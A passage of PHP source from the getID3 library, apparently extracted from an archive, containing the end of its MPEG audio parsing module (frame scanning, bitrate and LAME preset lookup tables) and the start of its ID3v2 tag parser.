						$info['mpeg']['audio']['stereo_distribution']  = array('stereo'=>0, 'joint stereo'=>0, 'dual channel'=>0, 'mono'=>0);
						$info['mpeg']['audio']['version_distribution'] = array('1'=>0, '2'=>0, '2.5'=>0);

						if ($info['mpeg']['audio']['version'] == '1') {
							if ($info['mpeg']['audio']['layer'] == 3) {
								$info['mpeg']['audio']['bitrate_distribution'] = array('free'=>0, 32000=>0, 40000=>0, 48000=>0, 56000=>0, 64000=>0, 80000=>0, 96000=>0, 112000=>0, 128000=>0, 160000=>0, 192000=>0, 224000=>0, 256000=>0, 320000=>0);
							} elseif ($info['mpeg']['audio']['layer'] == 2) {
								$info['mpeg']['audio']['bitrate_distribution'] = array('free'=>0, 32000=>0, 48000=>0, 56000=>0, 64000=>0, 80000=>0, 96000=>0, 112000=>0, 128000=>0, 160000=>0, 192000=>0, 224000=>0, 256000=>0, 320000=>0, 384000=>0);
							} elseif ($info['mpeg']['audio']['layer'] == 1) {
								$info['mpeg']['audio']['bitrate_distribution'] = array('free'=>0, 32000=>0, 64000=>0, 96000=>0, 128000=>0, 160000=>0, 192000=>0, 224000=>0, 256000=>0, 288000=>0, 320000=>0, 352000=>0, 384000=>0, 416000=>0, 448000=>0);
							}
						} elseif ($info['mpeg']['audio']['layer'] == 1) {
							$info['mpeg']['audio']['bitrate_distribution'] = array('free'=>0, 32000=>0, 48000=>0, 56000=>0, 64000=>0, 80000=>0, 96000=>0, 112000=>0, 128000=>0, 144000=>0, 160000=>0, 176000=>0, 192000=>0, 224000=>0, 256000=>0);
						} else {
							$info['mpeg']['audio']['bitrate_distribution'] = array('free'=>0, 8000=>0, 16000=>0, 24000=>0, 32000=>0, 40000=>0, 48000=>0, 56000=>0, 64000=>0, 80000=>0, 96000=>0, 112000=>0, 128000=>0, 144000=>0, 160000=>0);
						}

						$dummy = array('error'=>$info['error'], 'warning'=>$info['warning'], 'avdataend'=>$info['avdataend'], 'avdataoffset'=>$info['avdataoffset']);
						$synchstartoffset = $info['avdataoffset'];
						$this->fseek($info['avdataoffset']);

						// you can play with these numbers:
						$max_frames_scan  = 50000;
						$max_scan_segments = 10;

						// don't play with these numbers:
						$FastMode = false;
						$SynchErrorsFound = 0;
						$frames_scanned   = 0;
						$this_scan_segment = 0;
						$frames_scan_per_segment = ceil($max_frames_scan / $max_scan_segments);
						$pct_data_scanned = 0;
						for ($current_segment = 0; $current_segment < $max_scan_segments; $current_segment++) {
							$frames_scanned_this_segment = 0;
							if ($this->ftell() >= $info['avdataend']) {
								break;
							}
							$scan_start_offset[$current_segment] = max($this->ftell(), $info['avdataoffset'] + round($current_segment * (($info['avdataend'] - $info['avdataoffset']) / $max_scan_segments)));
							if ($current_segment > 0) {
								$this->fseek($scan_start_offset[$current_segment]);
								$buffer_4k = $this->fread(4096);
								for ($j = 0; $j < (strlen($buffer_4k) - 4); $j++) {
									if (($buffer_4k{$j} == "\xFF") && ($buffer_4k{($j + 1)} > "\xE0")) { // synch detected
										if ($this->decodeMPEGaudioHeader($scan_start_offset[$current_segment] + $j, $dummy, false, false, $FastMode)) {
											$calculated_next_offset = $scan_start_offset[$current_segment] + $j + $dummy['mpeg']['audio']['framelength'];
											if ($this->decodeMPEGaudioHeader($calculated_next_offset, $dummy, false, false, $FastMode)) {
												$scan_start_offset[$current_segment] += $j;
												break;
											}
										}
									}
								}
							}
							$synchstartoffset = $scan_start_offset[$current_segment];
							while ($this->decodeMPEGaudioHeader($synchstartoffset, $dummy, false, false, $FastMode)) {
								$FastMode = true;
								$thisframebitrate = $MPEGaudioBitrateLookup[$MPEGaudioVersionLookup[$dummy['mpeg']['audio']['raw']['version']]][$MPEGaudioLayerLookup[$dummy['mpeg']['audio']['raw']['layer']]][$dummy['mpeg']['audio']['raw']['bitrate']];

								if (empty($dummy['mpeg']['audio']['framelength'])) {
									$SynchErrorsFound++;
									$synchstartoffset++;
								} else {
									getid3_lib::safe_inc($info['mpeg']['audio']['bitrate_distribution'][$thisframebitrate]);
									getid3_lib::safe_inc($info['mpeg']['audio']['stereo_distribution'][$dummy['mpeg']['audio']['channelmode']]);
									getid3_lib::safe_inc($info['mpeg']['audio']['version_distribution'][$dummy['mpeg']['audio']['version']]);
									$synchstartoffset += $dummy['mpeg']['audio']['framelength'];
								}
								$frames_scanned++;
								if ($frames_scan_per_segment && (++$frames_scanned_this_segment >= $frames_scan_per_segment)) {
									$this_pct_scanned = ($this->ftell() - $scan_start_offset[$current_segment]) / ($info['avdataend'] - $info['avdataoffset']);
									if (($current_segment == 0) && (($this_pct_scanned * $max_scan_segments) >= 1)) {
										// file likely contains < $max_frames_scan, just scan as one segment
										$max_scan_segments = 1;
										$frames_scan_per_segment = $max_frames_scan;
									} else {
										$pct_data_scanned += $this_pct_scanned;
										break;
									}
								}
							}
						}
						if ($pct_data_scanned > 0) {
							$this->warning('too many MPEG audio frames to scan, only scanned '.$frames_scanned.' frames in '.$max_scan_segments.' segments ('.number_format($pct_data_scanned * 100, 1).'% of file) and extrapolated distribution, playtime and bitrate may be incorrect.');
							foreach ($info['mpeg']['audio'] as $key1 => $value1) {
								if (!preg_match('#_distribution$#i', $key1)) {
									continue;
								}
								foreach ($value1 as $key2 => $value2) {
									$info['mpeg']['audio'][$key1][$key2] = round($value2 / $pct_data_scanned);
								}
							}
						}

						if ($SynchErrorsFound > 0) {
							$this->warning('Found '.$SynchErrorsFound.' synch errors in histogram analysis');
							//return false;
						}

						$bittotal     = 0;
						$framecounter = 0;
						foreach ($info['mpeg']['audio']['bitrate_distribution'] as $bitratevalue => $bitratecount) {
							$framecounter += $bitratecount;
							if ($bitratevalue != 'free') {
								$bittotal += ($bitratevalue * $bitratecount);
							}
						}
						if ($framecounter == 0) {
							$this->error('Corrupt MP3 file: framecounter == zero');
							return false;
						}
						$info['mpeg']['audio']['frame_count'] = getid3_lib::CastAsInt($framecounter);
						$info['mpeg']['audio']['bitrate']     = ($bittotal / $framecounter);

						$info['audio']['bitrate'] = $info['mpeg']['audio']['bitrate'];


						// Definitively set VBR vs CBR, even if the Xing/LAME/VBRI header says differently
						$distinct_bitrates = 0;
						foreach ($info['mpeg']['audio']['bitrate_distribution'] as $bitrate_value => $bitrate_count) {
							if ($bitrate_count > 0) {
								$distinct_bitrates++;
							}
						}
						if ($distinct_bitrates > 1) {
							$info['mpeg']['audio']['bitrate_mode'] = 'vbr';
						} else {
							$info['mpeg']['audio']['bitrate_mode'] = 'cbr';
						}
						$info['audio']['bitrate_mode'] = $info['mpeg']['audio']['bitrate_mode'];

					}

					break; // exit while()
				}
			}

			$SynchSeekOffset++;
			if (($avdataoffset + $SynchSeekOffset) >= $info['avdataend']) {
				// end of file/data

				if (empty($info['mpeg']['audio'])) {

					$this->error('could not find valid MPEG synch before end of file');
					if (isset($info['audio']['bitrate'])) {
						unset($info['audio']['bitrate']);
					}
					if (isset($info['mpeg']['audio'])) {
						unset($info['mpeg']['audio']);
					}
					if (isset($info['mpeg']) && (!is_array($info['mpeg']) || empty($info['mpeg']))) {
						unset($info['mpeg']);
					}
					return false;

				}
				break;
			}

		}
		$info['audio']['channels']        = $info['mpeg']['audio']['channels'];
		$info['audio']['channelmode']     = $info['mpeg']['audio']['channelmode'];
		$info['audio']['sample_rate']     = $info['mpeg']['audio']['sample_rate'];
		return true;
	}


	public static function MPEGaudioVersionArray() {
		static $MPEGaudioVersion = array('2.5', false, '2', '1');
		return $MPEGaudioVersion;
	}

	public static function MPEGaudioLayerArray() {
		static $MPEGaudioLayer = array(false, 3, 2, 1);
		return $MPEGaudioLayer;
	}

	public static function MPEGaudioBitrateArray() {
		static $MPEGaudioBitrate;
		if (empty($MPEGaudioBitrate)) {
			$MPEGaudioBitrate = array (
				'1'  =>  array (1 => array('free', 32000, 64000, 96000, 128000, 160000, 192000, 224000, 256000, 288000, 320000, 352000, 384000, 416000, 448000),
								2 => array('free', 32000, 48000, 56000,  64000,  80000,  96000, 112000, 128000, 160000, 192000, 224000, 256000, 320000, 384000),
								3 => array('free', 32000, 40000, 48000,  56000,  64000,  80000,  96000, 112000, 128000, 160000, 192000, 224000, 256000, 320000)
							   ),

				'2'  =>  array (1 => array('free', 32000, 48000, 56000,  64000,  80000,  96000, 112000, 128000, 144000, 160000, 176000, 192000, 224000, 256000),
								2 => array('free',  8000, 16000, 24000,  32000,  40000,  48000,  56000,  64000,  80000,  96000, 112000, 128000, 144000, 160000),
							   )
			);
			$MPEGaudioBitrate['2'][3] = $MPEGaudioBitrate['2'][2];
			$MPEGaudioBitrate['2.5']  = $MPEGaudioBitrate['2'];
		}
		return $MPEGaudioBitrate;
	}

	public static function MPEGaudioFrequencyArray() {
		static $MPEGaudioFrequency;
		if (empty($MPEGaudioFrequency)) {
			$MPEGaudioFrequency = array (
				'1'   => array(44100, 48000, 32000),
				'2'   => array(22050, 24000, 16000),
				'2.5' => array(11025, 12000,  8000)
			);
		}
		return $MPEGaudioFrequency;
	}

	public static function MPEGaudioChannelModeArray() {
		static $MPEGaudioChannelMode = array('stereo', 'joint stereo', 'dual channel', 'mono');
		return $MPEGaudioChannelMode;
	}

	public static function MPEGaudioModeExtensionArray() {
		static $MPEGaudioModeExtension;
		if (empty($MPEGaudioModeExtension)) {
			$MPEGaudioModeExtension = array (
				1 => array('4-31', '8-31', '12-31', '16-31'),
				2 => array('4-31', '8-31', '12-31', '16-31'),
				3 => array('', 'IS', 'MS', 'IS+MS')
			);
		}
		return $MPEGaudioModeExtension;
	}

	public static function MPEGaudioEmphasisArray() {
		static $MPEGaudioEmphasis = array('none', '50/15ms', false, 'CCIT J.17');
		return $MPEGaudioEmphasis;
	}

	public static function MPEGaudioHeaderBytesValid($head4, $allowBitrate15=false) {
		return self::MPEGaudioHeaderValid(self::MPEGaudioHeaderDecode($head4), false, $allowBitrate15);
	}

	public static function MPEGaudioHeaderValid($rawarray, $echoerrors=false, $allowBitrate15=false) {
		if (($rawarray['synch'] & 0x0FFE) != 0x0FFE) {
			return false;
		}

		static $MPEGaudioVersionLookup;
		static $MPEGaudioLayerLookup;
		static $MPEGaudioBitrateLookup;
		static $MPEGaudioFrequencyLookup;
		static $MPEGaudioChannelModeLookup;
		static $MPEGaudioModeExtensionLookup;
		static $MPEGaudioEmphasisLookup;
		if (empty($MPEGaudioVersionLookup)) {
			$MPEGaudioVersionLookup       = self::MPEGaudioVersionArray();
			$MPEGaudioLayerLookup         = self::MPEGaudioLayerArray();
			$MPEGaudioBitrateLookup       = self::MPEGaudioBitrateArray();
			$MPEGaudioFrequencyLookup     = self::MPEGaudioFrequencyArray();
			$MPEGaudioChannelModeLookup   = self::MPEGaudioChannelModeArray();
			$MPEGaudioModeExtensionLookup = self::MPEGaudioModeExtensionArray();
			$MPEGaudioEmphasisLookup      = self::MPEGaudioEmphasisArray();
		}

		if (isset($MPEGaudioVersionLookup[$rawarray['version']])) {
			$decodedVersion = $MPEGaudioVersionLookup[$rawarray['version']];
		} else {
			echo ($echoerrors ? "\n".'invalid Version ('.$rawarray['version'].')' : '');
			return false;
		}
		if (isset($MPEGaudioLayerLookup[$rawarray['layer']])) {
			$decodedLayer = $MPEGaudioLayerLookup[$rawarray['layer']];
		} else {
			echo ($echoerrors ? "\n".'invalid Layer ('.$rawarray['layer'].')' : '');
			return false;
		}
		if (!isset($MPEGaudioBitrateLookup[$decodedVersion][$decodedLayer][$rawarray['bitrate']])) {
			echo ($echoerrors ? "\n".'invalid Bitrate ('.$rawarray['bitrate'].')' : '');
			if ($rawarray['bitrate'] == 15) {
				// known issue in LAME 3.90 - 3.93.1 where free-format has bitrate ID of 15 instead of 0
				// let it go through here otherwise file will not be identified
				if (!$allowBitrate15) {
					return false;
				}
			} else {
				return false;
			}
		}
		if (!isset($MPEGaudioFrequencyLookup[$decodedVersion][$rawarray['sample_rate']])) {
			echo ($echoerrors ? "\n".'invalid Frequency ('.$rawarray['sample_rate'].')' : '');
			return false;
		}
		if (!isset($MPEGaudioChannelModeLookup[$rawarray['channelmode']])) {
			echo ($echoerrors ? "\n".'invalid ChannelMode ('.$rawarray['channelmode'].')' : '');
			return false;
		}
		if (!isset($MPEGaudioModeExtensionLookup[$decodedLayer][$rawarray['modeextension']])) {
			echo ($echoerrors ? "\n".'invalid Mode Extension ('.$rawarray['modeextension'].')' : '');
			return false;
		}
		if (!isset($MPEGaudioEmphasisLookup[$rawarray['emphasis']])) {
			echo ($echoerrors ? "\n".'invalid Emphasis ('.$rawarray['emphasis'].')' : '');
			return false;
		}
		// These are just either set or not set, you can't mess that up :)
		// $rawarray['protection'];
		// $rawarray['padding'];
		// $rawarray['private'];
		// $rawarray['copyright'];
		// $rawarray['original'];

		return true;
	}

	public static function MPEGaudioHeaderDecode($Header4Bytes) {
		// AAAA AAAA  AAAB BCCD  EEEE FFGH  IIJJ KLMM
		// A - Frame sync (all bits set)
		// B - MPEG Audio version ID
		// C - Layer description
		// D - Protection bit
		// E - Bitrate index
		// F - Sampling rate frequency index
		// G - Padding bit
		// H - Private bit
		// I - Channel Mode
		// J - Mode extension (Only if Joint stereo)
		// K - Copyright
		// L - Original
		// M - Emphasis

		if (strlen($Header4Bytes) != 4) {
			return false;
		}

		$MPEGrawHeader['synch']         = (getid3_lib::BigEndian2Int(substr($Header4Bytes, 0, 2)) & 0xFFE0) >> 4;
		$MPEGrawHeader['version']       = (ord($Header4Bytes{1}) & 0x18) >> 3; //    BB
		$MPEGrawHeader['layer']         = (ord($Header4Bytes{1}) & 0x06) >> 1; //      CC
		$MPEGrawHeader['protection']    = (ord($Header4Bytes{1}) & 0x01);      //        D
		$MPEGrawHeader['bitrate']       = (ord($Header4Bytes{2}) & 0xF0) >> 4; // EEEE
		$MPEGrawHeader['sample_rate']   = (ord($Header4Bytes{2}) & 0x0C) >> 2; //     FF
		$MPEGrawHeader['padding']       = (ord($Header4Bytes{2}) & 0x02) >> 1; //       G
		$MPEGrawHeader['private']       = (ord($Header4Bytes{2}) & 0x01);      //        H
		$MPEGrawHeader['channelmode']   = (ord($Header4Bytes{3}) & 0xC0) >> 6; // II
		$MPEGrawHeader['modeextension'] = (ord($Header4Bytes{3}) & 0x30) >> 4; //   JJ
		$MPEGrawHeader['copyright']     = (ord($Header4Bytes{3}) & 0x08) >> 3; //     K
		$MPEGrawHeader['original']      = (ord($Header4Bytes{3}) & 0x04) >> 2; //      L
		$MPEGrawHeader['emphasis']      = (ord($Header4Bytes{3}) & 0x03);      //       MM

		return $MPEGrawHeader;
	}

	public static function MPEGaudioFrameLength(&$bitrate, &$version, &$layer, $padding, &$samplerate) {
		static $AudioFrameLengthCache = array();

		if (!isset($AudioFrameLengthCache[$bitrate][$version][$layer][$padding][$samplerate])) {
			$AudioFrameLengthCache[$bitrate][$version][$layer][$padding][$samplerate] = false;
			if ($bitrate != 'free') {

				if ($version == '1') {

					if ($layer == '1') {

						// For Layer I slot is 32 bits long
						$FrameLengthCoefficient = 48;
						$SlotLength = 4;

					} else { // Layer 2 / 3

						// for Layer 2 and Layer 3 slot is 8 bits long.
						$FrameLengthCoefficient = 144;
						$SlotLength = 1;

					}

				} else { // MPEG-2 / MPEG-2.5

					if ($layer == '1') {

						// For Layer I slot is 32 bits long
						$FrameLengthCoefficient = 24;
						$SlotLength = 4;

					} elseif ($layer == '2') {

						// for Layer 2 and Layer 3 slot is 8 bits long.
						$FrameLengthCoefficient = 144;
						$SlotLength = 1;

					} else { // layer 3

						// for Layer 2 and Layer 3 slot is 8 bits long.
						$FrameLengthCoefficient = 72;
						$SlotLength = 1;

					}

				}

				// FrameLengthInBytes = ((Coefficient * BitRate) / SampleRate) + Padding
				if ($samplerate > 0) {
					$NewFramelength  = ($FrameLengthCoefficient * $bitrate) / $samplerate;
					$NewFramelength  = floor($NewFramelength / $SlotLength) * $SlotLength; // round to next-lower multiple of SlotLength (1 byte for Layer 2/3, 4 bytes for Layer I)
					if ($padding) {
						$NewFramelength += $SlotLength;
					}
					$AudioFrameLengthCache[$bitrate][$version][$layer][$padding][$samplerate] = (int) $NewFramelength;
				}
			}
		}
		return $AudioFrameLengthCache[$bitrate][$version][$layer][$padding][$samplerate];
	}

	public static function ClosestStandardMP3Bitrate($bit_rate) {
		static $standard_bit_rates = array (320000, 256000, 224000, 192000, 160000, 128000, 112000, 96000, 80000, 64000, 56000, 48000, 40000, 32000, 24000, 16000, 8000);
		static $bit_rate_table = array (0=>'-');
		$round_bit_rate = intval(round($bit_rate, -3));
		if (!isset($bit_rate_table[$round_bit_rate])) {
			if ($round_bit_rate > max($standard_bit_rates)) {
				$bit_rate_table[$round_bit_rate] = round($bit_rate, 2 - strlen($bit_rate));
			} else {
				$bit_rate_table[$round_bit_rate] = max($standard_bit_rates);
				foreach ($standard_bit_rates as $standard_bit_rate) {
					if ($round_bit_rate >= $standard_bit_rate + (($bit_rate_table[$round_bit_rate] - $standard_bit_rate) / 2)) {
						break;
					}
					$bit_rate_table[$round_bit_rate] = $standard_bit_rate;
				}
			}
		}
		return $bit_rate_table[$round_bit_rate];
	}

	public static function XingVBRidOffset($version, $channelmode) {
		static $XingVBRidOffsetCache = array();
		if (empty($XingVBRidOffset)) {
			$XingVBRidOffset = array (
				'1'   => array ('mono'          => 0x15, // 4 + 17 = 21
								'stereo'        => 0x24, // 4 + 32 = 36
								'joint stereo'  => 0x24,
								'dual channel'  => 0x24
							   ),

				'2'   => array ('mono'          => 0x0D, // 4 +  9 = 13
								'stereo'        => 0x15, // 4 + 17 = 21
								'joint stereo'  => 0x15,
								'dual channel'  => 0x15
							   ),

				'2.5' => array ('mono'          => 0x15,
								'stereo'        => 0x15,
								'joint stereo'  => 0x15,
								'dual channel'  => 0x15
							   )
			);
		}
		return $XingVBRidOffset[$version][$channelmode];
	}

	public static function LAMEvbrMethodLookup($VBRmethodID) {
		static $LAMEvbrMethodLookup = array(
			0x00 => 'unknown',
			0x01 => 'cbr',
			0x02 => 'abr',
			0x03 => 'vbr-old / vbr-rh',
			0x04 => 'vbr-new / vbr-mtrh',
			0x05 => 'vbr-mt',
			0x06 => 'vbr (full vbr method 4)',
			0x08 => 'cbr (constant bitrate 2 pass)',
			0x09 => 'abr (2 pass)',
			0x0F => 'reserved'
		);
		return (isset($LAMEvbrMethodLookup[$VBRmethodID]) ? $LAMEvbrMethodLookup[$VBRmethodID] : '');
	}

	public static function LAMEmiscStereoModeLookup($StereoModeID) {
		static $LAMEmiscStereoModeLookup = array(
			0 => 'mono',
			1 => 'stereo',
			2 => 'dual mono',
			3 => 'joint stereo',
			4 => 'forced stereo',
			5 => 'auto',
			6 => 'intensity stereo',
			7 => 'other'
		);
		return (isset($LAMEmiscStereoModeLookup[$StereoModeID]) ? $LAMEmiscStereoModeLookup[$StereoModeID] : '');
	}

	public static function LAMEmiscSourceSampleFrequencyLookup($SourceSampleFrequencyID) {
		static $LAMEmiscSourceSampleFrequencyLookup = array(
			0 => '<= 32 kHz',
			1 => '44.1 kHz',
			2 => '48 kHz',
			3 => '> 48kHz'
		);
		return (isset($LAMEmiscSourceSampleFrequencyLookup[$SourceSampleFrequencyID]) ? $LAMEmiscSourceSampleFrequencyLookup[$SourceSampleFrequencyID] : '');
	}

	public static function LAMEsurroundInfoLookup($SurroundInfoID) {
		static $LAMEsurroundInfoLookup = array(
			0 => 'no surround info',
			1 => 'DPL encoding',
			2 => 'DPL2 encoding',
			3 => 'Ambisonic encoding'
		);
		return (isset($LAMEsurroundInfoLookup[$SurroundInfoID]) ? $LAMEsurroundInfoLookup[$SurroundInfoID] : 'reserved');
	}

	public static function LAMEpresetUsedLookup($LAMEtag) {

		if ($LAMEtag['preset_used_id'] == 0) {
			// no preset used (LAME >=3.93)
			// no preset recorded (LAME <3.93)
			return '';
		}
		$LAMEpresetUsedLookup = array();

		/////  THIS PART CANNOT BE STATIC .
		for ($i = 8; $i <= 320; $i++) {
			switch ($LAMEtag['vbr_method']) {
				case 'cbr':
					$LAMEpresetUsedLookup[$i] = '--alt-preset '.$LAMEtag['vbr_method'].' '.$i;
					break;
				case 'abr':
				default: // other VBR modes shouldn't be here(?)
					$LAMEpresetUsedLookup[$i] = '--alt-preset '.$i;
					break;
			}
		}

		// named old-style presets (studio, phone, voice, etc) are handled in GuessEncoderOptions()

		// named alt-presets
		$LAMEpresetUsedLookup[1000] = '--r3mix';
		$LAMEpresetUsedLookup[1001] = '--alt-preset standard';
		$LAMEpresetUsedLookup[1002] = '--alt-preset extreme';
		$LAMEpresetUsedLookup[1003] = '--alt-preset insane';
		$LAMEpresetUsedLookup[1004] = '--alt-preset fast standard';
		$LAMEpresetUsedLookup[1005] = '--alt-preset fast extreme';
		$LAMEpresetUsedLookup[1006] = '--alt-preset medium';
		$LAMEpresetUsedLookup[1007] = '--alt-preset fast medium';

		// LAME 3.94 additions/changes
		$LAMEpresetUsedLookup[1010] = '--preset portable';                                                           // 3.94a15 Oct 21 2003
		$LAMEpresetUsedLookup[1015] = '--preset radio';                                                              // 3.94a15 Oct 21 2003

		$LAMEpresetUsedLookup[320]  = '--preset insane';                                                             // 3.94a15 Nov 12 2003
		$LAMEpresetUsedLookup[410]  = '-V9';
		$LAMEpresetUsedLookup[420]  = '-V8';
		$LAMEpresetUsedLookup[440]  = '-V6';
		$LAMEpresetUsedLookup[430]  = '--preset radio';                                                              // 3.94a15 Nov 12 2003
		$LAMEpresetUsedLookup[450]  = '--preset '.(($LAMEtag['raw']['vbr_method'] == 4) ? 'fast ' : '').'portable';  // 3.94a15 Nov 12 2003
		$LAMEpresetUsedLookup[460]  = '--preset '.(($LAMEtag['raw']['vbr_method'] == 4) ? 'fast ' : '').'medium';    // 3.94a15 Nov 12 2003
		$LAMEpresetUsedLookup[470]  = '--r3mix';                                                                     // 3.94b1  Dec 18 2003
		$LAMEpresetUsedLookup[480]  = '--preset '.(($LAMEtag['raw']['vbr_method'] == 4) ? 'fast ' : '').'standard';  // 3.94a15 Nov 12 2003
		$LAMEpresetUsedLookup[490]  = '-V1';
		$LAMEpresetUsedLookup[500]  = '--preset '.(($LAMEtag['raw']['vbr_method'] == 4) ? 'fast ' : '').'extreme';   // 3.94a15 Nov 12 2003

		return (isset($LAMEpresetUsedLookup[$LAMEtag['preset_used_id']]) ? $LAMEpresetUsedLookup[$LAMEtag['preset_used_id']] : 'new/unknown preset: '.$LAMEtag['preset_used_id'].' - report to info@getid3.org');
	}

}
editor/libraries/classes/vendor/getid3/getid3/module.tag.id3v2.php000060400000445453150750527150021016 0ustar00<?php
/////////////////////////////////////////////////////////////////
/// getID3() by James Heinrich <info@getid3.org>               //
//  available at http://getid3.sourceforge.net                 //
//            or http://www.getid3.org                         //
//          also https://github.com/JamesHeinrich/getID3       //
/////////////////////////////////////////////////////////////////
// See readme.txt for more details                             //
/////////////////////////////////////////////////////////////////
///                                                            //
// module.tag.id3v2.php                                        //
// module for analyzing ID3v2 tags                             //
// dependencies: module.tag.id3v1.php                          //
//                                                            ///
/////////////////////////////////////////////////////////////////

getid3_lib::IncludeDependency(GETID3_INCLUDEPATH.'module.tag.id3v1.php', __FILE__, true);

class getid3_id3v2 extends getid3_handler
{
	public $StartingOffset = 0;

	public function Analyze() {
		$info = &$this->getid3->info;

		//    Overall tag structure:
		//        +-----------------------------+
		//        |      Header (10 bytes)      |
		//        +-----------------------------+
		//        |       Extended Header       |
		//        | (variable length, OPTIONAL) |
		//        +-----------------------------+
		//        |   Frames (variable length)  |
		//        +-----------------------------+
		//        |           Padding           |
		//        | (variable length, OPTIONAL) |
		//        +-----------------------------+
		//        | Footer (10 bytes, OPTIONAL) |
		//        +-----------------------------+

		//    Header
		//        ID3v2/file identifier      "ID3"
		//        ID3v2 version              $04 00
		//        ID3v2 flags                (%ab000000 in v2.2, %abc00000 in v2.3, %abcd0000 in v2.4.x)
		//        ID3v2 size             4 * %0xxxxxxx


		// shortcuts
		$info['id3v2']['header'] = true;
		$thisfile_id3v2                  = &$info['id3v2'];
		$thisfile_id3v2['flags']         =  array();
		$thisfile_id3v2_flags            = &$thisfile_id3v2['flags'];


		$this->fseek($this->StartingOffset);
		$header = $this->fread(10);
		if (substr($header, 0, 3) == 'ID3'  &&  strlen($header) == 10) {

			$thisfile_id3v2['majorversion'] = ord($header{3});
			$thisfile_id3v2['minorversion'] = ord($header{4});

			// shortcut
			$id3v2_majorversion = &$thisfile_id3v2['majorversion'];

		} else {

			unset($info['id3v2']);
			return false;

		}

		if ($id3v2_majorversion > 4) { // this script probably won't correctly parse ID3v2.5.x and above (if it ever exists)

			$this->error('this script only parses up to ID3v2.4.x - this tag is ID3v2.'.$id3v2_majorversion.'.'.$thisfile_id3v2['minorversion']);
			return false;

		}

		$id3_flags = ord($header{5});
		switch ($id3v2_majorversion) {
			case 2:
				// %ab000000 in v2.2
				$thisfile_id3v2_flags['unsynch']     = (bool) ($id3_flags & 0x80); // a - Unsynchronisation
				$thisfile_id3v2_flags['compression'] = (bool) ($id3_flags & 0x40); // b - Compression
				break;

			case 3:
				// %abc00000 in v2.3
				$thisfile_id3v2_flags['unsynch']     = (bool) ($id3_flags & 0x80); // a - Unsynchronisation
				$thisfile_id3v2_flags['exthead']     = (bool) ($id3_flags & 0x40); // b - Extended header
				$thisfile_id3v2_flags['experim']     = (bool) ($id3_flags & 0x20); // c - Experimental indicator
				break;

			case 4:
				// %abcd0000 in v2.4
				$thisfile_id3v2_flags['unsynch']     = (bool) ($id3_flags & 0x80); // a - Unsynchronisation
				$thisfile_id3v2_flags['exthead']     = (bool) ($id3_flags & 0x40); // b - Extended header
				$thisfile_id3v2_flags['experim']     = (bool) ($id3_flags & 0x20); // c - Experimental indicator
				$thisfile_id3v2_flags['isfooter']    = (bool) ($id3_flags & 0x10); // d - Footer present
				break;
		}

		$thisfile_id3v2['headerlength'] = getid3_lib::BigEndian2Int(substr($header, 6, 4), 1) + 10; // length of ID3v2 tag in 10-byte header doesn't include 10-byte header length

		$thisfile_id3v2['tag_offset_start'] = $this->StartingOffset;
		$thisfile_id3v2['tag_offset_end']   = $thisfile_id3v2['tag_offset_start'] + $thisfile_id3v2['headerlength'];



		// create 'encoding' key - used by getid3::HandleAllTags()
		// in ID3v2 every field can have it's own encoding type
		// so force everything to UTF-8 so it can be handled consistantly
		$thisfile_id3v2['encoding'] = 'UTF-8';


	//    Frames

	//        All ID3v2 frames consists of one frame header followed by one or more
	//        fields containing the actual information. The header is always 10
	//        bytes and laid out as follows:
	//
	//        Frame ID      $xx xx xx xx  (four characters)
	//        Size      4 * %0xxxxxxx
	//        Flags         $xx xx

		$sizeofframes = $thisfile_id3v2['headerlength'] - 10; // not including 10-byte initial header
		if (!empty($thisfile_id3v2['exthead']['length'])) {
			$sizeofframes -= ($thisfile_id3v2['exthead']['length'] + 4);
		}
		if (!empty($thisfile_id3v2_flags['isfooter'])) {
			$sizeofframes -= 10; // footer takes last 10 bytes of ID3v2 header, after frame data, before audio
		}
		if ($sizeofframes > 0) {

			$framedata = $this->fread($sizeofframes); // read all frames from file into $framedata variable

			//    if entire frame data is unsynched, de-unsynch it now (ID3v2.3.x)
			if (!empty($thisfile_id3v2_flags['unsynch']) && ($id3v2_majorversion <= 3)) {
				$framedata = $this->DeUnsynchronise($framedata);
			}
			//        [in ID3v2.4.0] Unsynchronisation [S:6.1] is done on frame level, instead
			//        of on tag level, making it easier to skip frames, increasing the streamability
			//        of the tag. The unsynchronisation flag in the header [S:3.1] indicates that
			//        there exists an unsynchronised frame, while the new unsynchronisation flag in
			//        the frame header [S:4.1.2] indicates unsynchronisation.


			//$framedataoffset = 10 + ($thisfile_id3v2['exthead']['length'] ? $thisfile_id3v2['exthead']['length'] + 4 : 0); // how many bytes into the stream - start from after the 10-byte header (and extended header length+4, if present)
			$framedataoffset = 10; // how many bytes into the stream - start from after the 10-byte header


			//    Extended Header
			if (!empty($thisfile_id3v2_flags['exthead'])) {
				$extended_header_offset = 0;

				if ($id3v2_majorversion == 3) {

					// v2.3 definition:
					//Extended header size  $xx xx xx xx   // 32-bit integer
					//Extended Flags        $xx xx
					//     %x0000000 %00000000 // v2.3
					//     x - CRC data present
					//Size of padding       $xx xx xx xx

					$thisfile_id3v2['exthead']['length'] = getid3_lib::BigEndian2Int(substr($framedata, $extended_header_offset, 4), 0);
					$extended_header_offset += 4;

					$thisfile_id3v2['exthead']['flag_bytes'] = 2;
					$thisfile_id3v2['exthead']['flag_raw'] = getid3_lib::BigEndian2Int(substr($framedata, $extended_header_offset, $thisfile_id3v2['exthead']['flag_bytes']));
					$extended_header_offset += $thisfile_id3v2['exthead']['flag_bytes'];

					$thisfile_id3v2['exthead']['flags']['crc'] = (bool) ($thisfile_id3v2['exthead']['flag_raw'] & 0x8000);

					$thisfile_id3v2['exthead']['padding_size'] = getid3_lib::BigEndian2Int(substr($framedata, $extended_header_offset, 4));
					$extended_header_offset += 4;

					if ($thisfile_id3v2['exthead']['flags']['crc']) {
						$thisfile_id3v2['exthead']['flag_data']['crc'] = getid3_lib::BigEndian2Int(substr($framedata, $extended_header_offset, 4));
						$extended_header_offset += 4;
					}
					$extended_header_offset += $thisfile_id3v2['exthead']['padding_size'];

				} elseif ($id3v2_majorversion == 4) {

					// v2.4 definition:
					//Extended header size   4 * %0xxxxxxx // 28-bit synchsafe integer
					//Number of flag bytes       $01
					//Extended Flags             $xx
					//     %0bcd0000 // v2.4
					//     b - Tag is an update
					//         Flag data length       $00
					//     c - CRC data present
					//         Flag data length       $05
					//         Total frame CRC    5 * %0xxxxxxx
					//     d - Tag restrictions
					//         Flag data length       $01

					$thisfile_id3v2['exthead']['length'] = getid3_lib::BigEndian2Int(substr($framedata, $extended_header_offset, 4), true);
					$extended_header_offset += 4;

